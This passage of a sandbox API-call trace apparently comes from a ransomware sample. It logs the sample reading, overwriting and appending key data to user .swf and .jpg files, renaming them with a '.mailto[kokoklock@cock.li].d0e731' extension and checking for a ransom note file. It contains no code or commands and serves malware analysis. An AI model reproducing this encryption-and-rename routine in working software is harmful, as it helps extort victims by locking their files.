RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423018 [0071.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423130 [0071.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423130) returned 1 [0071.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.715] WriteFile (in: hFile=0x3a4, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13dbfe44, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x13dbfe44*=0x4096, lpOverlapped=0x0) returned 1 [0071.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.715] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x47ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.715] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423018*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13dbfe7c, lpOverlapped=0x0 | out: lpBuffer=0x3423018*, lpNumberOfBytesWritten=0x13dbfe7c*=0x20, lpOverlapped=0x0) returned 1 [0071.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423018) returned 1 [0071.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.715] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423108*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13dbfe90, lpOverlapped=0x0 | out: lpBuffer=0x3423108*, lpNumberOfBytesWritten=0x13dbfe90*=0x8, lpOverlapped=0x0) returned 1 [0071.715] WriteFile (in: hFile=0x3a4, lpBuffer=0x13dbfea8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13dbfe90, lpOverlapped=0x0 | out: lpBuffer=0x13dbfea8*, lpNumberOfBytesWritten=0x13dbfe90*=0x4, lpOverlapped=0x0) returned 1 [0071.715] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13dbfe90, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x13dbfe90*=0x4, lpOverlapped=0x0) returned 1 [0071.715] WriteFile (in: hFile=0x3a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13dbfe90, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x13dbfe90*=0x6c, lpOverlapped=0x0) returned 1 [0071.716] WriteFile (in: hFile=0x3a4, lpBuffer=0x34230b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13dbfe90, lpOverlapped=0x0 | out: lpBuffer=0x34230b8*, lpNumberOfBytesWritten=0x13dbfe90*=0x20, lpOverlapped=0x0) returned 1 [0071.716] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13dbfe90, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x13dbfe90*=0x4, lpOverlapped=0x0) returned 1 [0071.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34230b8) returned 1 [0071.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423270) returned 1 [0071.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423108) returned 1 [0071.716] CloseHandle (hObject=0x3a4) returned 1 [0071.716] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33c8f68 [0071.716] wcscpy (in: _Dest=0x33c8f68, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf" [0071.716] wcscat (in: _Dest=0x33c8f68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731" [0071.716] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\tcalorii.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\tcalorii.swf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.717] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.717] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c8f68) returned 1 [0071.717] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf", dwFileAttributes=0x20) returned 0 [0071.717] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x34799e8 [0071.717] wcscpy (in: _Dest=0x34799e8, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0071.717] wcscat (in: _Dest=0x34799e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" [0071.717] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt")) returned 0x20 [0071.717] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0071.717] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0071.717] RtlExitUserThread (Status=0x1) Thread: id = 481 os_tid = 0x108c [0071.719] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\w6pz6w-21n.swf")) returned 0x20 [0071.719] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf", dwFileAttributes=0x20) returned 1 [0071.719] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\w6pz6w-21n.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0071.719] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x13e3fea0 | out: lpFileSize=0x13e3fea0*=38722) returned 1 [0071.719] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x973e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.719] ReadFile (in: hFile=0x3a4, lpBuffer=0x13e3fe74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13e3fe70, lpOverlapped=0x0 | out: lpBuffer=0x13e3fe74*, lpNumberOfBytesRead=0x13e3fe70*=0x4, lpOverlapped=0x0) returned 1 [0071.720] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423018 [0071.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34230b8 [0071.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423108 [0071.720] NtQuerySystemTime (in: CurrentTime=0x13e3fe4c | out: CurrentTime=0x13e3fe4c*=132121176296191587) returned 0x0 [0071.720] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x9827301a [0071.720] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x72aa05a8 [0071.720] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x14533c8c [0071.720] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x67e1413f [0071.720] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0xc1b5121a [0071.720] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x22a52312 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x4ba951b0 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x6598a490 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0xefb9c343 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x40decba0 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x788d91ea [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x8d24ac88 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x8375bfb5 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x3bbec354 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0xf39e5c87 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0xd4706c6b [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x255f050d [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0xa406f1c2 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x9d5ee3df [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x216d5780 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0xf7b8b5d3 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x1ec5aae [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x704545aa [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0xf4a9aa38 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0xfc634d8e [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0xac4987b8 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0xe9285f29 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0xcd0da3c3 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0xc16104d6 [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0x2bd7776a [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0xf250ec5a [0071.721] RtlRandom (in: Seed=0x13e3fe58 | out: Seed=0x13e3fe58) returned 0xa7c771c2 [0071.732] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.732] ReadFile (in: hFile=0x3a4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13e3fe24, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x13e3fe24*=0x4096, lpOverlapped=0x0) returned 1 [0071.733] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231a8 [0071.733] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231a8) returned 1 [0071.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.734] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423018 [0071.734] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423180 [0071.734] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423180) returned 1 [0071.734] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.734] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.734] WriteFile (in: hFile=0x3a4, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13e3fe24, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x13e3fe24*=0x4096, lpOverlapped=0x0) returned 1 [0071.734] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.734] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x9742, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.734] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423018*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13e3fe5c, lpOverlapped=0x0 | out: lpBuffer=0x3423018*, lpNumberOfBytesWritten=0x13e3fe5c*=0x20, lpOverlapped=0x0) returned 1 [0071.735] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423018) returned 1 [0071.735] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.735] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423130*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13e3fe70, lpOverlapped=0x0 | out: lpBuffer=0x3423130*, lpNumberOfBytesWritten=0x13e3fe70*=0x8, lpOverlapped=0x0) returned 1 [0071.735] WriteFile (in: hFile=0x3a4, lpBuffer=0x13e3fe88*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13e3fe70, lpOverlapped=0x0 | out: lpBuffer=0x13e3fe88*, lpNumberOfBytesWritten=0x13e3fe70*=0x4, lpOverlapped=0x0) returned 1 [0071.735] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13e3fe70, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x13e3fe70*=0x4, lpOverlapped=0x0) returned 1 [0071.735] WriteFile (in: hFile=0x3a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13e3fe70, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x13e3fe70*=0x6c, lpOverlapped=0x0) returned 1 [0071.735] WriteFile (in: hFile=0x3a4, lpBuffer=0x34230b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13e3fe70, lpOverlapped=0x0 | out: lpBuffer=0x34230b8*, lpNumberOfBytesWritten=0x13e3fe70*=0x20, lpOverlapped=0x0) returned 1 [0071.735] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13e3fe70, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x13e3fe70*=0x4, lpOverlapped=0x0) returned 1 [0071.735] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34230b8) returned 1 [0071.735] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423270) returned 1 [0071.735] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423130) returned 1 [0071.735] CloseHandle (hObject=0x3a4) returned 1 [0071.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33c8f68 [0071.735] wcscpy (in: _Dest=0x33c8f68, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf" [0071.735] wcscat (in: _Dest=0x33c8f68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731" [0071.735] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\w6pz6w-21n.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\w6pz6w-21n.swf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.736] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c8f68) returned 1 [0071.736] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf", dwFileAttributes=0x20) returned 0 [0071.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479ad8 [0071.736] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0071.736] wcscat (in: _Dest=0x3479ad8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" [0071.736] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt")) returned 0x20 [0071.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0071.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e110) returned 1 [0071.737] RtlExitUserThread (Status=0x1) Thread: id = 482 os_tid = 0x1090 [0071.738] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\zkudyr8dl5kjjakb-xzg.jpg")) returned 0x20 [0071.738] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg", dwFileAttributes=0x20) returned 1 [0071.738] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\zkudyr8dl5kjjakb-xzg.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0071.738] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x13ebfce4 | out: lpFileSize=0x13ebfce4*=59465) returned 1 [0071.738] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xe845, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.738] ReadFile (in: hFile=0x3a4, lpBuffer=0x13ebfcb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13ebfcb4, lpOverlapped=0x0 | out: lpBuffer=0x13ebfcb8*, lpNumberOfBytesRead=0x13ebfcb4*=0x4, lpOverlapped=0x0) returned 1 [0071.739] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.739] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423180 [0071.739] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231a8 [0071.739] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423270 [0071.739] NtQuerySystemTime (in: CurrentTime=0x13ebfc90 | out: CurrentTime=0x13ebfc90*=132121176296348228) returned 0x0 [0071.739] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x55937f0 [0071.739] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x76d03ab3 [0071.739] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x485df89a [0071.739] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0xfce840b2 [0071.739] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0xc441cf39 [0071.739] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x8a6679e8 [0071.739] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x4fc8b2d [0071.739] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x16ab08a7 [0071.739] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x69b7286d [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0xe88453a4 [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0xbea09bf3 [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0xb3401b5a [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x63a79a6b [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0xb1a22291 [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x4911965b [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0xb9b531b1 [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x77f66f3c [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x54be456d [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x1bf2f9d [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x6913e132 [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x7922f969 [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x57af4227 [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x73918ee6 [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0xba17d9bf [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x7f239dc4 [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x56f2d660 [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0xecb89465 [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x75ce305c [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0xe2d785f9 [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0xe70cad3e [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0x3bd57609 [0071.740] RtlRandom (in: Seed=0x13ebfc9c | out: Seed=0x13ebfc9c) returned 0xd2f33d26 [0071.751] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.751] ReadFile (in: hFile=0x3a4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13ebfc68, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x13ebfc68*=0x4096, lpOverlapped=0x0) returned 1 [0071.751] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0071.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0071.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423130 [0071.752] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423130) returned 1 [0071.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423180 [0071.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423130 [0071.752] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423130) returned 1 [0071.752] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0071.752] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0071.752] WriteFile (in: hFile=0x3a4, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13ebfc68, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x13ebfc68*=0x4096, lpOverlapped=0x0) returned 1 [0071.753] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.753] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xe849, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.753] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423180*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13ebfca0, lpOverlapped=0x0 | out: lpBuffer=0x3423180*, lpNumberOfBytesWritten=0x13ebfca0*=0x20, lpOverlapped=0x0) returned 1 [0071.753] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423180) returned 1 [0071.753] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.753] WriteFile (in: hFile=0x3a4, lpBuffer=0x34230b8*, 